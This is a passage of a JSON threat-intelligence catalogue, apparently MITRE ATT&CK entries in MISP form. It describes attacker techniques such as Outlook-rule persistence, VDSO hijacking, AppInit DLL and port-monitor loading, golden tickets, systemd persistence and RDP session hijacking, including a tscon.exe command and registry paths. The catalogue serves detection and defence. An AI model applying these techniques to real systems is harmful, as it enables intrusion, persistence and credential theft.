"description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)",
"meta": {
"external_id": "T1137.005",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"Office 365"
],
"refs": [
"https://attack.mitre.org/techniques/T1137/005",
"https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/",
"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack",
"https://github.com/sensepost/notruler",
"https://silentbreaksecurity.com/malicious-outlook-rules/"
]
},
"related": [
{
"dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
"type": "subtechnique-of"
}
],
"uuid": "3d1b9d7e-3921-4d25-845a-7d9f15c0da44",
"value": "Outlook Rules - T1137.005"
},
{
"description": "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
"meta": {
"external_id": "T1593.001",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1593/001",
"https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e"
]
},
"related": [
{
"dest-uuid": "a0e6614a-7740-4b24-bd65-f1bde09fc365",
"type": "subtechnique-of"
}
],
"uuid": "bbe5b322-e2af-4a5e-9625-a4e62bf84ed3",
"value": "Social Media - T1593.001"
},
{
"description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009) (Citation: Backtrace VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",
"meta": {
"external_id": "T1055.014",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Module: Module Load",
"Process: OS API Execution"
],
"mitre_platforms": [
"Linux"
],
"refs": [
"http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing",
"https://attack.mitre.org/techniques/T1055/014",
"https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/",
"https://lwn.net/Articles/604515/",
"https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/",
"https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html",
"https://www.gnu.org/software/acct/"
]
},
"related": [
{
"dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
"type": "subtechnique-of"
}
],
"uuid": "98be40f2-c86b-4ade-b6fc-4964932040e5",
"value": "VDSO Hijacking - T1055.014"
},
{
"description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
"meta": {
"external_id": "T1546.010",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1546/010",
"https://msdn.microsoft.com/en-us/library/dn280412",
"https://support.microsoft.com/en-us/kb/197571",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "cc89ecbd-3d33-4a41-bcca-001e702d18fd",
"value": "AppInit DLLs - T1546.010"
},
{
"description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.",
"meta": {
"external_id": "T1547.010",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"File: File Creation",
"Module: Module Load",
"Process: OS API Execution",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://msdn.microsoft.com/en-us/library/dd183341",
"https://attack.mitre.org/techniques/T1547/010",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "43881e51-ac74-445b-b4c6-f9f9e9bf23fe",
"value": "Port Monitors - T1547.010"
},
{
"description": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
"meta": {
"external_id": "T1591.004",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1591/004",
"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
]
},
"related": [
{
"dest-uuid": "937e4772-8441-4e4a-8bf0-8d447d667e23",
"type": "subtechnique-of"
}
],
"uuid": "cc723aff-ec88-40e3-a224-5af9fd983cc4",
"value": "Identify Roles - T1591.004"
},
{
"description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)",
"meta": {
"external_id": "T1497.001",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1497/001",
"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/",
"https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/"
]
},
"related": [
{
"dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d",
"type": "subtechnique-of"
}
],
"uuid": "29be378d-262d-4e99-b00d-852d573628e6",
"value": "System Checks - T1497.001"
},
{
"description": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.",
"meta": {
"external_id": "T1558.001",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Active Directory: Active Directory Credential Request",
"Logon Session: Logon Session Metadata"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://adsecurity.org/?p=1515",
"https://adsecurity.org/?p=1640",
"https://adsecurity.org/?p=483",
"https://attack.mitre.org/techniques/T1558/001",
"https://blog.stealthbits.com/detect-pass-the-ticket-attacks",
"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
"https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285"
]
},
"related": [
{
"dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a",
"type": "subtechnique-of"
}
],
"uuid": "768dce68-8d0d-477a-b01d-0eea98b963a1",
"value": "Golden Ticket - T1558.001"
},
{
"description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ",
"meta": {
"external_id": "CAPEC-163",
"kill_chain": [
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"File: File Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"macOS",
"Windows",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1566/001",
"https://capec.mitre.org/data/definitions/163.html",
"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
]
},
"related": [
{
"dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b",
"type": "subtechnique-of"
}
],
"uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
"value": "Spearphishing Attachment - T1566.001"
},
{
"description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)",
"meta": {
"external_id": "T1578.001",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Snapshot: Snapshot Creation"
],
"mitre_platforms": [
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1578/001",
"https://cloud.google.com/compute/docs/instances/create-start-instance#api_2",
"https://cloud.google.com/logging/docs/audit#admin-activity",
"https://content.fireeye.com/m-trends/rpt-m-trends-2020",
"https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html",
"https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor"
]
},
"related": [
{
"dest-uuid": "144e007b-e638-431d-a894-45d90c54ab90",
"type": "subtechnique-of"
}
],
"uuid": "ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1",
"value": "Create Snapshot - T1578.001"
},
{
"description": "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
"meta": {
"external_id": "T1598.001",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1598/001",
"https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/"
]
},
"related": [
{
"dest-uuid": "cca0ccb6-a068-4574-a722-b1556f86833a",
"type": "subtechnique-of"
}
],
"uuid": "f870408c-b1cd-49c7-a5c7-0ef0fc496cc6",
"value": "Spearphishing Service - T1598.001"
},
{
"description": "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
"meta": {
"external_id": "T1542.002",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Driver: Driver Metadata",
"Firmware: Firmware Modification",
"Process: OS API Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1542/002",
"https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html",
"https://www.smartmontools.org/"
]
},
"related": [
{
"dest-uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e",
"type": "subtechnique-of"
}
],
"uuid": "791481f8-e96a-41be-b089-a088763083d4",
"value": "Component Firmware - T1542.002"
},
{
"description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)",
"meta": {
"external_id": "CAPEC-551",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation",
"Service: Service Creation",
"Service: Service Modification"
],
"mitre_platforms": [
"Linux"
],
"refs": [
"http://man7.org/linux/man-pages/man1/systemd.1.html",
"https://attack.mitre.org/techniques/T1543/002",
"https://capec.mitre.org/data/definitions/550.html",
"https://capec.mitre.org/data/definitions/551.html",
"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang",
"https://www.freedesktop.org/wiki/Software/systemd/",
"https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence"
]
},
"related": [
{
"dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5",
"type": "subtechnique-of"
}
],
"uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b",
"value": "Systemd Service - T1543.002"
},
{
"description": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)",
"meta": {
"external_id": "T1552.003",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
"https://attack.mitre.org/techniques/T1552/003"
]
},
"related": [
{
"dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
"type": "subtechnique-of"
}
],
"uuid": "8187bd2a-866f-4457-9009-86b0ddedffa3",
"value": "Bash History - T1552.003"
},
{
"description": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing) \n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ",
"meta": {
"external_id": "T1553.002",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Metadata"
],
"mitre_platforms": [
"macOS",
"Windows"
],
"refs": [
"http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates",
"https://attack.mitre.org/techniques/T1553/002",
"https://en.wikipedia.org/wiki/Code_signing",
"https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
]
},
"related": [
{
"dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7",
"type": "subtechnique-of"
}
],
"uuid": "32901740-b42c-4fdd-bc02-345b5dc57082",
"value": "Code Signing - T1553.002"
},
{
"description": "Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)",
"meta": {
"external_id": "T1563.002",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Command: Command Execution",
"Logon Session: Logon Session Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html",
"https://attack.mitre.org/techniques/T1563/002",
"https://github.com/nccgroup/redsnarf",
"https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
"https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
]
},
"related": [
{
"dest-uuid": "5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5",
"type": "subtechnique-of"
}
],
"uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c",
"value": "RDP Hijacking - T1563.002"
},
{
"description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).",
"meta": {
"external_id": "T1573.002",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1573/002",
"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
]
},
"related": [
{
"dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118",
"type": "subtechnique-of"
}
],
"uuid": "bf176076-b789-408e-8cba-7275e81c0ada",
"value": "Asymmetric Cryptography - T1573.002"
},
{
"description": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)",
"meta": {
"external_id": "T1583.002",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1583/002",
"https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/"
]
},
"related": [
{
"dest-uuid": "0458aab9-ad42-4eac-9e22-706a95bafee2",
"type": "subtechnique-of"
}
],
"uuid": "197ef1b9-e764-46c3-b96c-23f77985dc81",
"value": "DNS Server - T1583.002"
},
{
"description": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
"meta": {
"external_id": "T1593.002",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1593/002",
"https://securitytrails.com/blog/google-hacking-techniques",
"https://www.exploit-db.com/google-hacking-database"
]
},
"related": [
{
"dest-uuid": "a0e6614a-7740-4b24-bd65-f1bde09fc365",
"type": "subtechnique-of"
}
],
"uuid": "6e561441-8431-4773-a9b8-ccf28ef6a968",
"value": "Search Engines - T1593.002"
},
{
